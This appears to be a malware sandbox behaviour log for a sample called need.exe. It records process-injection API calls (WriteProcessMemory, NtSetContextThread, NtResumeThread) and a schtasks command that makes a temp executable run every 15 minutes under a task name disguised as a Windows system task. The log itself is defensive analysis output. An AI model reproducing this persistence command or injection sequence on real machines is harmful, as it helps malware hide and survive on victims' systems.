WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: @3 base_address: 0x00408000 process_identifier: 2376 process_handle: 0x00000120	1	1
WriteProcessMemory Nov. 9, 2023, 7:48 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2376 process_handle: 0x00000120	1	1
NtSetContextThread Nov. 9, 2023, 7:48 a.m.	registers.eip: 2005598660 registers.esp: 1702020 registers.edi: 0 registers.eax: 4211454 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000011c process_identifier: 2376	1	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x0000011c suspend_count: 1 process_identifier: 2376	1	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2376	1	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x000001fc suspend_count: 1 process_identifier: 2376	1	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 2376	1	0
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x000002a4 suspend_count: 1 process_identifier: 2512	1	0
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 2620 thread_handle: 0x000002c8 process_identifier: 2616 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\is64.bat" filepath_r: stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002bc	1	1
NtResumeThread Nov. 9, 2023, 7:48 a.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 2616	1	0
CreateProcessInternalW Nov. 9, 2023, 7:48 a.m.	thread_identifier: 3020 thread_handle: 0x00000138 process_identifier: 3016 current_directory: C:\Users\test22\AppData\Local\Temp\IXP001.TMP filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: schtasks /create /F /sc minute /mo 15 /tr "C:\Users\test22\AppData\Local\Temp\0PtOMLAJU3qJXB0.exe" /tn "\WindowsAppPool\0PtOMLAJU3qJXB0" filepath_r: C:\Windows\system32\schtasks.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000013c	1	1

need.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All